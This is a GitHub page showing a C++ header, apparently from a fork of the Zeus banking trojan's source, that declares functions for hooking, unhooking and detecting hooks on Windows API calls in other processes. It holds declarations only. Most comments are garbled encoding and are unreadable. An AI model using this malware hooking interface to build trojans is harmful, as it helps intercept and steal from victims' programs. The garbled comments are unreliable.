forked from EgeBalci/Zeus
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwahook.h
76 lines (62 loc) · 2.6 KB
/
wahook.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
/*
Ïåðåõâàò WinAPI.
*/
#pragma once
namespace WaHook
{
/*
Èíèöèàëèçàöèÿ.
*/
void init(void);
/*
Äåèíèöèàëèçàöèÿ.
*/
void uninit(void);
/*
Êýýëáåê äëÿ _hook().
IN functionForHook - óêàçàòåëü íà ôóíêöèþ, êîòîðàÿ áóäåò ïåðåõâà÷åíà.
IN originalFunction - àäðåñ, ïî êîòîðîìó óæå çàïèñàíî ñòàðîå ñîäåðæèìîå ôóíêöèè, ýòîò àäðåñ
íåîáõîäèìî âûçûâàòü äëÿ âûçîâà îðèãèíàëüíîé ôóíêöèè ïîñëå óñòàíîâêè õóêà.
*/
typedef void (*HOTPATCHCALLBACK)(const void *functionForHook, const void *originalFunction);
/*
Óñòàíîâêà õóêà.
IN process - ïðîöåññ, â êîòîðîì ïðîèñõîäèò ìîäèôèêàöèÿ.
IN OUT functionForHook - óêàçàòåëü íà ôóíêöèþ, êîòîðàÿ áóäåò ïåðåõâà÷åíà.
IN hookerFunction - óêàçàòåëü íà íîâóþ ôóíêöèþ.
OUT originalFunction - àäðåñ, ïî êîòîðîìó áóäåò çàïèñàíî ñòàðîå ñîäåðæèìîå ôóíêöèè, ýòîò àäðåñ
íåîáõîäèìî âûçûâàòü äëÿ âûçîâà îðèãèíàëüíîé ôóíêöèè ïîñëå óñòàíîâêè
õóêà.
IN hotPatchCallback - ôóíêöèÿ, êîòîðàÿ âûçûâàåòñÿ íåìåäëåííî ïåðåä çàïèñüþ õóêà â
îðèãèíàëüíóþ ôóíêöèþ.
Return - ðàçìåð äàííûõ ïîìåøåííûõ ïî àäðåñó originalFunction, èëè 0 â ñëó÷àè
îøèáêè.
*/
DWORD _hook(HANDLE process, void *functionForHook, void *hookerFunction, void *originalFunction, HOTPATCHCALLBACK hotPatchCallback);
/*
Ñíÿòèå õóêà.
IN process - ïðîöåññ, â êîòîðîì ïðîèñõîäèò ìîäèôèêàöèÿ.
IN OUT functionForHook - óêàçàòåëü íà ïåðåõâà÷åíóþ ôóíêöèþ.
IN originalFunction - àäðåñ ïî êîòîðîìó çàïèñàíû îðèãàíëüíûå îïêîäû.
IN size - ðàçìåð originalFunction.
Return - true - â ñëó÷àè óñïåõà,
false - â ñëó÷àè îøèáêè.
*/
bool _unhook(HANDLE process, void *hookedFunction, void *originalFunction, DWORD size);
/*
Ïðîâåðÿåò ÿâëÿåòñÿ ëè ôóíêöèÿ ïåðõâà÷åííîé, ñ÷èòûâàÿ ïåðâûå îïêîäû.
IN process - ïðîöåññ
IN function - ôóíêöèÿ.
Return - true - ïåðåõâà÷åíà,
false - íå ïåðåõâà÷åíà.
*/
bool _isHooked(HANDLE process, void *function);
/*Â Â Â Â Allocates a region of memory where you can make replacement parts intercepted functions.
   Â
    IN process - a process in which the modification.
    IN maxFunctions - approximate kolichetsvo features that will be intercepted.
   Â
    Return - address, or NULL in case of error.
  */
void *_allocBuffer(HANDLE process, DWORD maxFunctions);
};